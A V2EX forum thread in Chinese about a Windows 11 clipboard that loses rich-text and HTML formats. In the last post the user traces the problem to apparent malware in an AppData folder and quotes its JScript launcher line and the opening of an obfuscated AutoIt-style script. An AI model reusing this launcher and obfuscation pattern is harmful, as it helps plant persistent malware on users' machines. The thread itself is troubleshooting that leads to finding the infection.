V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
tan9p
V2EX  ›  Windows

Windows 11 的剪贴板只能保存纯文本信息,很多复杂的富文本信息, HTML 信息无法保存,求助原因和解决办法

  •  
  •   tan9p · 57 天前 · 1386 次点击
    这是一个创建于 57 天前的主题,其中的信息可能已经有所发展或是发生改变。

    RT , 这个帖子中,我提到 Office 只能粘贴纯文本内容,经过测试发现是 Window 的剪贴板就已经把其他的信息丢失掉了。 https://v2ex.com/t/1075494

    我用 ClipboardViewer 这个工具,观察了复制后的剪贴板内容。 在粘贴正常的机器上,显示的结果是: Rich Text Format HTML Format Text UnicodeText SystemString 内容非常丰富. 因为内容比较多,这里就不粘贴内容了。 但在故障的机器上,显示的结果只有: Text UnicodeText SystemString 内容就只有纯文本. Clipboard DataObject Type: System.Windows.DataObject


    The following data formats are present in the data object obtained from the clipboard: - Text (native) - UnicodeText (native) - System.String (autoconvertable) - Locale (native) - OEMText (native)


    Text data:

    • 已知等差数列 的前 n 项和为 ,若 ,则 ?

    UnicodeText data:

    • 已知等差数列 的前 n 项和为 ,若 ,则 ?

    System.String data:

    • 已知等差数列 的前 n 项和为 ,若 ,则 ?

    Locale data:

    • System.IO.MemoryStream

    OEMText data:

    • 已知等差数列 的前 n 项和为 ,若 ,则 ?

    所以我推断,是 Windows 11 的剪贴板服务出了问题.在网上也搜到一篇同样症状的。https://bbs.pcbeta.com/viewthread-1904174-1-1.html

    想问下经验丰富的大虾,这种剪贴板的功能受限,是什么原因导致的?以及它的解决办法.谢谢啦!

    10 条回复    2024-10-06 22:10:36 +08:00
    ntedshen
        1
    ntedshen  
       56 天前
    组策略里搜索剪贴板看看哪个被启用了?印象里 wd 和 ie 里面都有相关的设置,但是工作方法不确定。。。
    tan9p
        2
    tan9p  
    OP
       56 天前
    @ntedshen 感谢关注,能说的详细点吗?我在组策略中没有找到和剪贴板有关的内容。
    flynaj
        3
    flynaj  
       56 天前 via Android
    win+v 看一下设置是不是没有启用
    ntedshen
        4
    ntedshen  
       56 天前
    @tan9p 筛选器选项的关键字筛选里直接敲剪贴板。。。
    tan9p
        5
    tan9p  
    OP
       56 天前 via Android
    @ntedshen 谢谢您的回复,
    @flynaj
    tan9p
        6
    tan9p  
    OP
       56 天前 via Android
    @flynaj 启用啦,可以复制粘贴的,但是只能粘贴纯文本。
    billccn
        7
    billccn  
       56 天前
    多媒体剪贴板是上个世纪就有的远古 API ,不会依赖什么服务的,那个服务只不过是让你用 Win+V 的时候有个历史而已。

    我觉得你这个现象就是原帖子里讲的有其他程序在监视剪贴板,然后把内容替换了。你可以写个程序看看是哪个进程: https://stackoverflow.com/a/3412830
    tan9p
        8
    tan9p  
    OP
       56 天前 via Android
    @billccn 谢谢您的关注,我按照您的思路排查一下。
    但是我用 clipboardview 里看,已经没有附加的信息了。能把改写剪贴板的程序找出来吗?
    tan9p
        9
    tan9p  
    OP
       56 天前
    初步排查是 Lenovo Hotkeys 这个自启动程序导致的,但是我查不到这个程序的位置,不知道是那个程序引入的。
    tan9p
        10
    tan9p  
    OP
       45 天前
    今天发现不是上述 Lenovo HotKey 造成的.之所以造成这样的误解,是因为我取消程序的启动项后,重启测试发现粘贴行为正常,就以为是取消启动项修复了这个问题。
    事实上不然,刚开机时粘贴的行为是正常的,过一段时间后粘贴行为就不正常了,是因为造成异常的程序还没来得及启动,造成了修复问题的假象.
    造成粘贴行为异常的是一个名叫 jsc.exe 的程序.
    它通过计划任务通过 js 程序启动.
    有问题的文件夹是:AppData\Local\ProtezioneDati Inc\
    里面有:Proteggi.js 、E 、jsc.exe 和 Proteggi.pif 四个文件.
    Proteggi.js 里面就一句:
    `new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\Proteggi.pif\" \"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\E\"")`
    E 的内容很长,开头如:
    ```
    $EagleConcluded = 36
    $LauderdaleVeterinary = 98
    While 674
    If $EagleConcluded = 35 Then
    PixelGetColor(DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6), DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6))
    ConsoleWriteError(DefinitionHierarchy("99X97X98X105X110X101X116X47X104X105X110X100X117X47X115X111X108X100X105X101X114X47",0/4))
    Sqrt(2585)
    $EagleConcluded = $EagleConcluded + 1
    EndIf
    ```
    并没有 jsc.exe 字段,不知道是如何运行 jsc.exe 的.
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3269 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 22ms · UTC 11:53 · PVG 19:53 · LAX 03:53 · JFK 06:53
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.